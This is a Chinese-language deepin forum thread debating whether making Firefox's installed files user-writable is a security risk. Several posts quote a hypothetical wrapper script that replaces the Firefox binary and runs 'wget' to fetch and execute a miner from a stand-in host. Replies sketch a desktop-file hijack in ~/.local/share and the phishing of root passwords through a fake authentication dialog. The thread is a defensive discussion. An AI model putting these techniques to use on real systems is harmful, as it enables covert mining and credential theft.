[Tutorials] 警告,通过chown、chmod修改系统文件,会带来安全漏洞,请勿散播
Tofloor
poster avatar
Barry-okx
Junior Packager
2021-12-19 03:13
Author

https://bbs.deepin.org/zh/post/224603 **[经验分享] 一条命令让火狐浏览器可自动更新到最新版

**

今天看到一个教程,讲通过chown、chmod修改火狐浏览器的文件所有者和权限,使得火狐浏览器可以自动更新。

我相信作者的出发点一定是好的,但是方法非常糟糕。

当系统文件夹下的可执行文件权限被修改为普通用户时,攻击者可以通过篡改可执行文件的方式注入恶意程序。当用户执行火狐浏览器时,触发恶意程序,引发数据、财产损失。

基于此,请勿编写、散播、评论、点赞此类教程,以免引起不好的后果。

Reply Favorite View the author
All Replies
神末shenmo
Moderator
Spark-App
2021-12-19 05:26
#1

那你自己装的火狐不也是普通用户权限。。。

Reply View the author
Barry-okx
Junior Packager
2021-12-19 06:12
#2

我没有自己装火狐,我装的是商店的火狐esr。

多数情况下,只要是源内有的程序,我都会优先使用源内,源内没有的程序,我优先反馈官方增加。

实在不得已,才会手动装在家目录下。

污染系统目录是非常不好的。

Reply View the author
安洛
deepin
2021-12-19 06:34
#3

火狐浏览器文件不是系统文件。

另外如果是我要达成类似目的,我会直接在~/.local/share下创建同名desktop文件指向病毒,这同样不需要root权限。这个文件优先于/usr/share里面那个,除非你只用绝对路径启动程序,否则都会中招。

Reply View the author
jianghuchuan
deepin
2021-12-19 06:49
#4
安洛

火狐浏览器文件不是系统文件。

另外如果是我要达成类似目的,我会直接在~/.local/share下创建同名desktop文件指向病毒,这同样不需要root权限。这个文件优先于/usr/share里面那个,除非你只用绝对路径启动程序,否则都会中招。

他虽然不是系统文件,但是他的属组是root

Reply View the author
Barry-okx
Junior Packager
2021-12-19 07:22
#5
安洛

火狐浏览器文件不是系统文件。

另外如果是我要达成类似目的,我会直接在~/.local/share下创建同名desktop文件指向病毒,这同样不需要root权限。这个文件优先于/usr/share里面那个,除非你只用绝对路径启动程序,否则都会中招。

你这里引申出的是一个独立的问题,我觉得如果有必要可以单开一贴分析。

我这一贴还是希望收敛在“系统文件”范围

可能我的表述不是很严谨,所以我这次加个引号。 我这里的“系统文件”包含了 deepin的预装可执行文件和商店安装的可执行文件两部分。他们通常来自deepin官方[或打包志愿者团队],并对系统内的所有用户都产生影响。

另外一个需要说明的背景,就是我本身是打包志愿者的一员,打包了火狐的esr版本,我不希望自己打包的app被篡改权限,引入一些不稳定因素。

如果我一开始发的那个文章里面推荐的是让用户自己去下载官方zip包,放在用户目录下,我完全不能有意见。

最后,我坚决维护用户的自由,用户想干啥在自己的系统里面都是允许的,但是我觉得把这样的操作传播给小白用户,小白用户可能不知道里面的危险,我有必要让他们知道,便利的背后是以牺牲安全性为代价的,如果用户认为这种trade off是值得的,我非常没有意见。

Reply View the author
enforcee
deepin
2021-12-19 17:44
#6

根本就不是漏洞啊

楼主讲讲这种情况攻击者怎么注入恶意程序

shamed

别说是攻击者摸到电脑并且知道用户密码了

joy

Reply View the author
Barry-okx
Junior Packager
2021-12-19 20:56
#7

机器上的任意程序出现了沙箱问题,只需要把 /opt/apps/com.mozilla.firefox-zh/files/bin/firefox 文件改一下。

类似

mv /opt/apps/com.mozilla.firefox-zh/files/bin/firefox /opt/apps/com.mozilla.firefox-zh/files/bin/firefox-backup

然后创建一个/opt/apps/com.mozilla.firefox-zh/files/bin/firefox

#!/bin/bash

wget http://miner.com/miner && ./miner && /opt/apps/com.mozilla.firefox-zh/files/bin/firefox-backup

就可以实现启动火狐的时候开始挖矿的功能。

===

上面的场景为设想的,网址并不是一个真实地址。

Reply View the author
神末shenmo
Moderator
Spark-App
2021-12-19 21:11
#8
Barry-okx

机器上的任意程序出现了沙箱问题,只需要把 /opt/apps/com.mozilla.firefox-zh/files/bin/firefox 文件改一下。

类似

mv /opt/apps/com.mozilla.firefox-zh/files/bin/firefox /opt/apps/com.mozilla.firefox-zh/files/bin/firefox-backup

然后创建一个/opt/apps/com.mozilla.firefox-zh/files/bin/firefox

#!/bin/bash

wget http://miner.com/miner && ./miner && /opt/apps/com.mozilla.firefox-zh/files/bin/firefox-backup

就可以实现启动火狐的时候开始挖矿的功能。

===

上面的场景为设想的,网址并不是一个真实地址。

在~/.local/share创建一个同名desktop文件,并准备好脚本

把Exec指向脚本

很好,我在没有获得/opt的权限的情况下就完成了挖矿

所以你开不开/opt的权限有什么区别呢?

Reply View the author
神末shenmo
Moderator
Spark-App
2021-12-19 21:15
#9
Barry-okx

机器上的任意程序出现了沙箱问题,只需要把 /opt/apps/com.mozilla.firefox-zh/files/bin/firefox 文件改一下。

类似

mv /opt/apps/com.mozilla.firefox-zh/files/bin/firefox /opt/apps/com.mozilla.firefox-zh/files/bin/firefox-backup

然后创建一个/opt/apps/com.mozilla.firefox-zh/files/bin/firefox

#!/bin/bash

wget http://miner.com/miner && ./miner && /opt/apps/com.mozilla.firefox-zh/files/bin/firefox-backup

就可以实现启动火狐的时候开始挖矿的功能。

===

上面的场景为设想的,网址并不是一个真实地址。

你能想到安全问题,这很好,但是我觉得更容易出现的是钓鱼啊

管用户要一个root密码真不是多难的事,简单来说就设备管理器吧,这是个开源的软件,攻击者在获取硬件信息的时候加一个弹窗,说获取硬件信息需要授权,你密码不就钓到了?

Reply View the author
神末shenmo
Moderator
Spark-App
2021-12-19 21:19
#10

绝大多数用户是单个用户使用,读取个whoami然后扔到提示框里,不难吧

整个验证弹框就是dtk写的,复刻一个长的一模一样的DDialog也没有什么难度

所以终极的解决方案还得是杀软/UOS的锁权限

Reply View the author
神末shenmo
Moderator
Spark-App
2021-12-19 21:25
#11

但是能做出来改所有者的前提就是开了开发者模式

只要你开了开发者模式,那你改不改这个权限对于黑客来说意义真的就不大了

你不改,他可以通过在~/.local/share下面放desktop来偷梁换柱挖矿,如果按你的描述攻击只能影响一部分有操作能力的用户,但是像我这样说的攻击就可以覆盖所有用户,你猜黑客会选择哪种方式?那你改不改这个权限又有什么区别?

再钓个鱼,你的root权限就到人家手里了,人家弹窗获取你的密码,点击确认之后程序自己测试对不对,对了人家自己给自己输密码授权,告诉你授权成功,实际上密码已经到手了,你全程都看不出来;你要是输入了错误的密码,它也先试试是不是能用的,要是不行就仿造官方的授权框给你个错误提示,这也不难

人家得到你账号密码之后直接云控给你开个ssh-server,如果你还有ipv6地址那黑客都可以直接ssh到你的桌面了

所以你看,改不改那个权限真没必要,真要黑你根本用不到那个东西

Reply View the author
enforcee
deepin
2021-12-19 22:09
#12
Barry-okx

机器上的任意程序出现了沙箱问题,只需要把 /opt/apps/com.mozilla.firefox-zh/files/bin/firefox 文件改一下。

类似

mv /opt/apps/com.mozilla.firefox-zh/files/bin/firefox /opt/apps/com.mozilla.firefox-zh/files/bin/firefox-backup

然后创建一个/opt/apps/com.mozilla.firefox-zh/files/bin/firefox

#!/bin/bash

wget http://miner.com/miner && ./miner && /opt/apps/com.mozilla.firefox-zh/files/bin/firefox-backup

就可以实现启动火狐的时候开始挖矿的功能。

===

上面的场景为设想的,网址并不是一个真实地址。

那我费事去动火狐干啥

有远程执行代码的能力我干啥不行

blush

还是木马最省事,毕竟家贼难防

Reply View the author
Barry-okx
Junior Packager
2021-12-20 03:44
#13
神末shenmo

在~/.local/share创建一个同名desktop文件,并准备好脚本

把Exec指向脚本

很好,我在没有获得/opt的权限的情况下就完成了挖矿

所以你开不开/opt的权限有什么区别呢?

我看了你说的这个文件夹 确实如此。

Reply View the author
神末shenmo
Moderator
Spark-App
2021-12-20 18:19
#14
enforcee

那我费事去动火狐干啥

有远程执行代码的能力我干啥不行

blush

还是木马最省事,毕竟家贼难防

所以说咱埋汰UOS的开发者模式也是要讲基本法的,如果Linux桌面版真的火了,可能真就那样会更安全

从UOS下载的软件对家目录是不能直接读写的,而且有容器机制保证
注:只存在于文档里,还没实现(又不是苹果谁能强迫开源社区吃你这一套)

Reply View the author
enforcee
deepin
2021-12-20 21:51
#15
神末shenmo

所以说咱埋汰UOS的开发者模式也是要讲基本法的,如果Linux桌面版真的火了,可能真就那样会更安全

从UOS下载的软件对家目录是不能直接读写的,而且有容器机制保证
注:只存在于文档里,还没实现(又不是苹果谁能强迫开源社区吃你这一套)

flatpak也是优点多多,统一运行时,沙箱机制,权限管理,部分更新

结果大家还是喜欢用传统的包管理

blush

不过事情会有转变,手机已经给用户使用软件商店的习惯培养出来,我觉得以后不要说命令,会去百度搜索安装包的人都越来越少了(比Windows点下一步都“方便”多了)

Reply View the author